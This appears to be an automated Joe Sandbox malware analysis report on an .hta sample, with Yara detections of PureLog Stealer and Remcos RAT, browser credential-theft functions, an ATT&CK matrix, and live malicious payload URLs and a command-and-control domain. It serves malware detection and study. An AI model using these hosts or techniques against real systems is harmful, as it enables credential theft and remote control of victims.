Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00404F51 GetLocalTime,CreateEventA,CreateThread,

11_2_00404F51

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041B69E GetComputerNameExW,GetUserNameW,

11_2_0041B69E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00449210 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

11_2_00449210

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected PureLog Stealer

Stealing of Sensitive Information

Source: Yara match	File source: 9.2.powershell.exe.60cff68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.60cff68.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.8730000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.8730000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2263876284.00000000060CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2285326980.0000000008730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4501290149.00000000028DE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

11_2_0040BA4D

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		11_2_0040BB6B

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-M3P7YT

Yara detected PureLog Stealer

Source: Yara match	File source: 9.2.powershell.exe.60cff68.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.60cff68.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.8730000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.8730000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2263876284.00000000060CF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2285326980.0000000008730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4501290149.00000000028DE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

11_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	1 Native API	111 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	2 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 Software Packing	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	211 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 DLL Side-Loading	NTDS	3 File and Directory Discovery	Distributed Component Object Model	3 Clipboard Data	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	4 PowerShell	Network Logon Script	222 Process Injection	1 Bypass User Account Control	LSA Secrets	34 System Information Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	213 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	222 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LJ1IZDkHyE.hta	26%	ReversingLabs	Script-WScript.Trojan.Remcos

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://104.168.32.148/345/nicemeetingsofpictureclearthingstobe.tIF	100%	Avira URL Cloud	malware
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtCNA;gYFbase64Content	0%	Avira URL Cloud	safe
http://104.168.32.148	0%	Avira URL Cloud	safe
http://104.168.32.148/345/niceme	0%	Avira URL Cloud	safe
https://ia600100.us.archivL	0%	Avira URL Cloud	safe
http://104.168.32.148/345/CHPPZA.txt	0%	Avira URL Cloud	safe
http://www.microsoft.	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://104.168.32.148/	0%	Avira URL Cloud	safe
http://crl.micro	0%	Avira URL Cloud	safe
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	100%	Avira URL Cloud	malware
http://104.168.32.148/345/nicemeetingsofpictureclearthingstobe.tIFL	0%	Avira URL Cloud	safe
https://ia600100.us.archive.org	0%	Avira URL Cloud	safe
ramcxx.duckdns.org	100%	Avira URL Cloud	malware
http://ia600100.us.archive.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ia600100.us.archive.org	207.241.227.240	true	false		unknown
ramcxx.duckdns.org	45.134.140.70	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://104.168.32.148/345/nicemeetingsofpictureclearthingstobe.tIF	true	Avira URL Cloud: malware	unknown
http://104.168.32.148/345/CHPPZA.txt	true	Avira URL Cloud: safe	unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	false	Avira URL Cloud: malware	unknown
ramcxx.duckdns.org	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.2171736688.00000000064BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.168.32.148/345/niceme	powershell.exe, 00000003.00000002.2169309335.000000000593F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtCNA;gYFbase64Content	powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.archivL	powershell.exe, 00000009.00000002.2256807258.0000000005321000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000009.00000002.2256807258.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.microsoft.	powershell.exe, 00000003.00000002.2177473162.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.168.32.148	powershell.exe, 00000009.00000002.2256807258.00000000051E8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	RegAsm.exe	false	URL Reputation: safe	unknown
http://104.168.32.148/	powershell.exe, 00000003.00000002.2177473162.0000000008B49000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000003.00000002.2177473162.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2290069028.000000000318F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2253530010.0000000000F47000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000003.00000002.2169309335.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2292037286.0000000005178000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2292037286.0000000005169000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2256807258.0000000004F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://104.168.32.148/345/nicemeetingsofpictureclearthingstobe.tIFL	powershell.exe, 00000003.00000002.2175493809.0000000007C21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.2169309335.00000000055A7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.2171736688.00000000064BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ia600100.us.archive.org	powershell.exe, 00000009.00000002.2256807258.0000000005321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2256807258.0000000005077000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.2169309335.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2292037286.0000000005155000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2256807258.0000000004F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ia600100.us.archive.org	powershell.exe, 00000009.00000002.2256807258.000000000536C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.168.32.148	unknown	United States	36352	AS-COLOCROSSINGUS	true
45.134.140.70	ramcxx.duckdns.org	Georgia	197328	INETLTDTR	true
207.241.227.240	ia600100.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518499
Start date and time:	2024-09-25 18:49:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LJ1IZDkHyE.hta renamed because original name is a hash value
Original Sample Name:	d6a04e7ba31d063b7176e3f9fc96c46a.hta
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winHTA@19/18@6/3
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 99% Number of executed functions: 82 Number of non-executed functions: 195
Cookbook Comments:	Found application associated with file extension: .hta Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 5508 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
